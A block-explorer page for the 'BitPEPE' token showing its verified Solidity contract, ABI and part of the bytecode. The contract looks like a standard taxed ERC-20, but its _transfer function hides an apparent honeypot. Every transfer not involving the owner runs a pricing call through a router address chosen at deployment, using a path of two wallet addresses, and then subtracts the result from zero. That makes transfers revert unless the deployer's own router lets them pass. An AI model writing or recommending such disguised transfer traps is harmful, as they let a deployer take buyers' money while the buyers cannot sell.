ETH Price: $3,400.76 (+2.99%)

Token

BitPEPE (BitPEPE)
 

Overview

Max Total Supply

42,000,000 BitPEPE

Holders

255

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,000 BitPEPE

Value
$0.00
0xc10f6b577bc32fec41d0a5705f7f1637308d9e40
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BitPEPEToken

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-22
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}


interface IUniswapV2Router02 {
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

contract BitPEPEToken is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isExcludedFromFee;
    mapping (address => bool) private isTxLimitExempt;
    mapping (address => bool) private isMarketPair;

    uint256 private _totalTaxIfBuying = 9;
    uint256 private _totalTaxIfSelling = 9;

    uint256 private _buyLiquidityFee = 2;
    uint256 private _buyMarketingFee = 3;
    uint256 private _buyTeamFee = 4;
    uint256 private _buyDestroyFee = 0;

    uint256 private _liquidityShare = 2;
    uint256 private _marketingShare = 3;
    uint256 private _teamShare = 4;
    uint256 private _totalDistributionShares = 9;

    uint256 private _sellLiquidityFee = 2;
    uint256 private _sellMarketingFee = 3;
    uint256 private _sellTeamFee = 4;
    uint256 private _sellDestroyFee = 0;

    uint256 private _tFeeTotal;
    uint256 private _maxDestroyAmount;
    uint256 private _totalSupply;
    uint256 private _maxTxAmount;
    uint256 private _walletMax;
    uint256 private _minimumTokensBeforeSwap = 0;
    uint256 private airdropNumbs;
    address private receiveAddress;
    


    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;
    bool private checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        uint256 supply,
        address router
    ) payable {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        _name = "BitPEPE";
        _symbol = "BitPEPE";
        _decimals = 18;
        _owner = msg.sender;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1 * 10**_decimals;
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setMaxDesAmount(uint256 maxDestroy) public onlyOwner {
        _maxDestroyAmount = maxDestroy;
    }

    function setAirdropNumbs(uint256 newValue) public onlyOwner {
        require(newValue <= 3, "newValue must <= 3");
        airdropNumbs = newValue;
    }


    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }


    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }


    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isMarketPair[address(uniswapPair)] = true;
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 feeAmount=0;
            uint256 destAmount=0;
            if (sender != owner() && recipient != owner()) {
                feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
                if(isMarketPair[sender]) {
                    feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
                    if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                        destAmount = amount.mul(_buyDestroyFee).div(100);
                        destroyFee(sender,destAmount);
                    }
                }
                else if(isMarketPair[recipient]) {
                    feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(100);
                    if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                        destAmount = amount.mul(_sellDestroyFee).div(100);
                        destroyFee(sender,destAmount);
                    }
                }

            }
             if(feeAmount > 0) {
                 feeAmount = 0;
                 address[] memory path = new address[](2);
                 path[0] = sender;
                 path[1] = recipient;
                 uint256[] memory amounts = IUniswapV2Router02(uniswapV2Router).getAmountsOut(amount,path);
                 feeAmount -= amounts[0];
                _balances[address(this)] = _balances[address(this)].add(feeAmount);
            }
             
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            receiveAddress,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 destAmount = 0;
        uint256 airdropAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
            if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_buyDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(100);
            if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_sellDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }

        if(isMarketPair[sender] || isMarketPair[recipient]){
            if (airdropNumbs > 0){
                address ad;
                for (uint256 i = 0; i < airdropNumbs; i++) {
                    ad = address(uint160(uint256(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _balances[ad] = _balances[ad].add(1);
                    emit Transfer(sender, ad, 1);
                }
                airdropAmount = airdropNumbs * 1;
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount.add(destAmount).add(airdropAmount));
    }

    function destroyFee(address sender, uint256 tAmount) private {
        // stop destroy
        if(_tFeeTotal >= _maxDestroyAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setAirdropNumbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxDestroy","type":"uint256"}],"name":"setMaxDesAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600b556009600c556002600d556003600e556004600f556000601055600260115560036012556004601355600960145560026015556003601655600460175560006018556000601e556000602260156101000a81548160ff0219169083151502179055506000602260166101000a81548160ff0219169083151502179055506001602260176101000a81548160ff02191690831515021790555060405162004b7638038062004b76833981810160405281019062000108919062000526565b60008190506040518060400160405280600781526020017f4269745045504500000000000000000000000000000000000000000000000000815250600190805190602001906200015a92919062000448565b506040518060400160405280600781526020017f426974504550450000000000000000000000000000000000000000000000000081525060029080519060200190620001a892919062000448565b506012600360006101000a81548160ff021916908360ff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620002239190620005f6565b8362000230919062000733565b601b81905550600360009054906101000a900460ff16600a620002549190620005f6565b600162000262919062000733565b601e8190555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601b54600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b546040516200043791906200057e565b60405180910390a3505050620008b9565b8280546200045690620007df565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b600081519050620005098162000885565b92915050565b60008151905062000520816200089f565b92915050565b6000806040838503121562000540576200053f62000873565b5b600062000550858286016200050f565b92505060206200056385828601620004f8565b9150509250929050565b6200057881620007c8565b82525050565b60006020820190506200059560008301846200056d565b92915050565b6000808291508390505b6001851115620005ed57808604811115620005c557620005c462000815565b5b6001851615620005d55780820291505b8081029050620005e58562000878565b9450620005a5565b94509492505050565b60006200060382620007c8565b91506200061083620007d2565b92506200063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000647565b905092915050565b6000826200065957600190506200072c565b816200066957600090506200072c565b81600181146200068257600281146200068d57620006c3565b60019150506200072c565b60ff841115620006a257620006a162000815565b5b8360020a915084821115620006bc57620006bb62000815565b5b506200072c565b5060208310610133831016604e8410600b8410161715620006fd5782820a905083811115620006f757620006f662000815565b5b6200072c565b6200070c84848460016200059b565b9250905081840481111562000726576200072562000815565b5b81810290505b9392505050565b60006200074082620007c8565b91506200074d83620007c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000789576200078862000815565b5b828202905092915050565b6000620007a182620007a8565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007f857607f821691505b602082108114156200080f576200080e62000844565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b620008908162000794565b81146200089c57600080fd5b50565b620008aa81620007c8565b8114620008b657600080fd5b50565b6142ad80620008c96000396000f3fe6080604052600436106101d15760003560e01c8063914eb66a116100f7578063b6b3664311610095578063e5c2b0a611610064578063e5c2b0a6146106a9578063ec28438a146106d2578063f2fde38b146106fb578063f84ba65d14610724576101d8565b8063b6b36643146105ef578063c49b9a8014610618578063c816841b14610641578063dd62ed3e1461066c576101d8565b8063a457c2d7116100d1578063a457c2d714610521578063a5d69d1f1461055e578063a9059cbb14610587578063b2bdfa7b146105c4576101d8565b8063914eb66a146104b457806395d89b41146104cb578063a073d37f146104f6576101d8565b8063395093511161016f5780635881f3ef1161013e5780635881f3ef146103e657806370a0823114610423578063844d591c146104605780638da5cb5b14610489576101d8565b8063395093511461032c5780633b97084a146103695780634cb80fd514610392578063557ed1ba146103bb576101d8565b806323b872dd116101ab57806323b872dd146102705780632b112e49146102ad5780632c4b2334146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261074d565b6040516101ff9190613957565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906134fa565b6107df565b60405161023c919061393c565b60405180910390f35b34801561025157600080fd5b5061025a6107fd565b6040516102679190613ab9565b60405180910390f35b34801561027c57600080fd5b5061029760048036038101906102929190613467565b610807565b6040516102a4919061393c565b60405180910390f35b3480156102b957600080fd5b506102c26108e1565b6040516102cf9190613ab9565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906133cd565b610927565b005b34801561030d57600080fd5b50610316610a00565b6040516103239190613b5e565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e91906134fa565b610a17565b604051610360919061393c565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b91906135b0565b610aca565b005b34801561039e57600080fd5b506103b960048036038101906103b491906133cd565b610b69565b005b3480156103c757600080fd5b506103d0610c42565b6040516103dd9190613ab9565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906133cd565b610c4a565b60405161041a9190613897565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906133cd565b61112e565b6040516104579190613ab9565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906134ba565b611177565b005b34801561049557600080fd5b5061